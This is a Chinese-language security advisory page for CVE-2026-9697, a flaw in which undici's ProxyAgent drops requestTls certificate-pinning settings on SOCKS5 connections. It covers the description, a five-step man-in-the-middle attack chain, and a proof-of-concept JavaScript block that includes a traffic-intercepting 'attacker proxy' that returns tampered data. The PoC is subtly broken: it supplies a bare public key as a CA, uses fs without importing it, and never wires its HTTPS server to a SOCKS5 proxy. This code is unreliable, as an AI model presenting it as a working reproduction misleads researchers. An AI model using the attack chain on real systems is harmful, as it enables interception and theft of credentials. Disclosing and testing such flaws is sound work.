IPBUF安全漏洞报告
English
CVE-2026-9697 CVSS 7.4 高危

CVE-2026-9697:undici ProxyAgent SOCKS5代理TLS配置绕过漏洞

披露日期: 2026-06-17
来源: ce714d77-add3-4f53-aff5-83d477b104bb

漏洞信息

漏洞编号
CVE-2026-9697
漏洞类型
TLS证书验证绕过/中间人攻击
CVSS评分
7.4 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
undici (Node.js HTTP客户端)

相关标签

TLS证书验证绕过中间人攻击undiciNode.jsProxyAgentSOCKS5证书锁定绕过CWE-295高危漏洞HTTP客户端

漏洞概述

CVE-2026-9697是undici HTTP客户端库中的一个高危安全漏洞,CVSS评分为7.4。该漏洞存在于undici的ProxyAgent组件中,当其配置为使用SOCKS5代理URI(socks5:// 或 socks://)时,会静默丢弃requestTls选项。这意味着通过SOCKS5隧道建立的目标HTTPS连接将回退到Node.js的默认信任存储,完全忽略用户配置的ca(CA证书)、cert(客户端证书)、key(客户端密钥)、rejectUnauthorized(是否拒绝未授权证书)以及servername(SNI服务器名称)等TLS相关设置。

该漏洞的影响范围广泛,尤其针对那些通过requestTls.ca将TLS连接锁定到内部或企业CA证书的应用程序。当这些应用程序的代理URI被设置为SOCKS5时,系统将使用默认的Mozilla CA证书束作为信任锚点,而非用户指定的CA证书。这意味着任何由公开可信CA签发的针对目标主机名的证书都将被接受,从而打破了原本的证书锁定(certificate pinning)机制,使攻击者能够对HTTPS通信执行中间人(MITM)攻击,实现数据的读取和篡改。

该漏洞由SOCKS5代理支持引入undici 7.23.0版本时引入,影响所有使用ProxyAgent(或直接使用Socks5ProxyAgent)配合SOCKS5代理且依赖requestTls进行TLS范围限制的应用程序。官方已在undici v7.28.0和v8.5.0版本中修复此漏洞。

技术细节

从技术层面分析,该漏洞的根本原因在于undici ProxyAgent在处理SOCKS5代理连接时的配置传递逻辑缺陷。当开发者配置ProxyAgent使用SOCKS5协议时,undici内部在建立到目标服务器的TLS连接时,未能将requestTls选项正确传递到底层的TLS握手过程中。

具体而言,在正常的HTTP代理场景下,ProxyAgent会通过TLS connect tunnel方法将requestTls配置(包括自定义CA证书、客户端证书密钥对、rejectUnauthorized标志等)传递给TLS连接建立函数。然而,当代理类型为SOCKS5时,undici使用了不同的代码路径来处理代理协商,该路径未能正确转发requestTls选项,导致TLS连接使用Node.js全局默认的https.globalAgent配置,即使用Node.js捆绑的Mozilla CA证书束作为信任锚点。

利用方式如下:攻击者需要在客户端与目标服务器之间的网络路径上部署中间人攻击能力(例如控制恶意Wi-Fi热点、ARP欺骗或BGP劫持等)。当受害应用程序通过配置了SOCKS5代理的undici ProxyAgent发起HTTPS请求时:(1) 请求首先通过SOCKS5隧道发送到SOCKS5代理服务器;(2) 代理服务器代表客户端与目标HTTPS服务器建立连接;(3) 在TLS握手阶段,由于requestTls.ca被忽略,系统接受任何由公开可信CA签发的证书;(4) 攻击者可以出示由Let's Encrypt、DigiCert等公开CA签发的针对目标域名的证书(通过获取该域名的有效证书或利用证书透明度日志),从而成功完成TLS握手;(5) 握手成功后,攻击者可以解密、读取并篡改所有HTTPS通信内容。

此漏洞的CVSS向量为CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N,表明该漏洞可通过网络利用,无需认证和用户交互,但攻击复杂度较高(需要中间人位置),对机密性和完整性有高影响,不影响可用性。

攻击链分析

STEP 1
步骤1:环境准备
攻击者在目标应用程序与目标服务器之间的网络路径上获得中间人位置,例如控制企业内部Wi-Fi接入点、执行ARP欺骗攻击或利用BGP劫持等。同时部署一个SOCKS5代理服务,该代理会使用由公开可信CA签发的针对目标域名的证书与目标服务器建立TLS连接。
STEP 2
步骤2:触发漏洞条件
目标应用程序使用存在漏洞版本的undici(>= 7.23.0 且 < 7.28.0 或 < 8.5.0),并通过ProxyAgent配置了SOCKS5代理(socks5:// 或 socks://),同时依赖requestTls.ca进行TLS证书锁定。
STEP 3
步骤3:拦截代理请求
应用程序通过SOCKS5代理发起HTTPS请求,请求被路由到攻击者控制的SOCKS5代理端点。攻击者截获该连接并代表客户端与目标HTTPS服务器建立TLS连接。
STEP 4
步骤4:绕过证书验证
在TLS握手阶段,由于requestTls.ca被静默丢弃,undici使用Node.js默认的Mozilla CA证书束作为信任锚点。攻击者出示的由公开可信CA签发的证书通过验证,TLS握手成功建立。
STEP 5
步骤5:数据窃取与篡改
TLS连接建立后,攻击者获得明文数据访问能力,可以读取所有敏感通信内容(如API密钥、用户凭证、业务数据等),并可向通信双方注入篡改后的数据,实现完整的数据窃取和篡改攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-9697 Proof of Concept // Demonstrates that undici ProxyAgent with SOCKS5 ignores requestTls.ca const { ProxyAgent } = require('undici'); const https = require('https'); const crypto = require('crypto'); // Step 1: Generate a self-signed CA (simulating an internal/corporate CA) // In a real scenario, the application would pin to this CA via requestTls.ca const internalCA = crypto.generateKeyPairSync('rsa', { modulusLength: 2048 }); // Step 2: Configure ProxyAgent with SOCKS5 proxy AND requestTls.ca // The requestTls.ca should restrict TLS to certificates signed by internalCA // But due to CVE-2026-9697, it will be silently dropped const socks5Proxy = 'socks5://127.0.0.1:1080'; // Attacker's SOCKS5 proxy const proxyAgent = new ProxyAgent({ uri: socks5Proxy, requestTls: { ca: internalCA.publicKey.export(), // This will be IGNORED in SOCKS5 path rejectUnauthorized: true, servername: 'internal.example.com' } }); // Step 3: Make an HTTPS request through the SOCKS5 proxy // Expected: Connection should fail because the target cert // is not signed by internalCA // Actual (vulnerable): Connection succeeds because default // Mozilla CA bundle is used instead async function exploit() { try { const response = await fetch('https://internal.example.com/secret', { dispatcher: proxyAgent }); console.log('[VULNERABLE] Request succeeded - requestTls was ignored!'); console.log('MITM attack possible: any publicly-trusted cert accepted'); } catch (err) { console.log('[SAFE] Request failed as expected:', err.message); } } exploit(); // --- Attacker side: SOCKS5 proxy serving a publicly-signed cert --- // The attacker runs a SOCKS5 proxy that intercepts the CONNECT request // and responds with a TLS certificate signed by Let's Encrypt (or any // publicly-trusted CA) for the target domain, bypassing the intended // certificate pinning. const attackerProxy = https.createServer({ // Attacker obtains a valid cert for internal.example.com // from a public CA (e.g., via CT log monitoring or domain control) cert: fs.readFileSync('attacker-cert.pem'), key: fs.readFileSync('attacker-key.pem') }, (req, res) => { // Log and forward/modify the intercepted traffic console.log('Intercepted:', req.url); res.end('tampered data'); }); // socks5-server listens on 127.0.0.1:1080 and tunnels to attackerProxy

影响范围

undici >= 7.23.0 且 < 7.28.0
undici >= 8.0.0 且 < 8.5.0

防御指南

临时缓解措施
在SOCKS5代理路径中无有效的临时缓解措施。如果必须使用SOCKS5代理且需要TLS范围限制功能,建议将流量通过HTTP代理(HTTP ProxyAgent)进行路由,因为在该路径下requestTls选项可被正确识别和生效。同时,应优先评估升级到undici v7.28.0或v8.5.0版本的可行性,以从根本上消除该漏洞带来的安全风险。在升级之前,建议对使用SOCKS5代理的应用程序进行安全评估,评估其面临中间人攻击的风险等级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表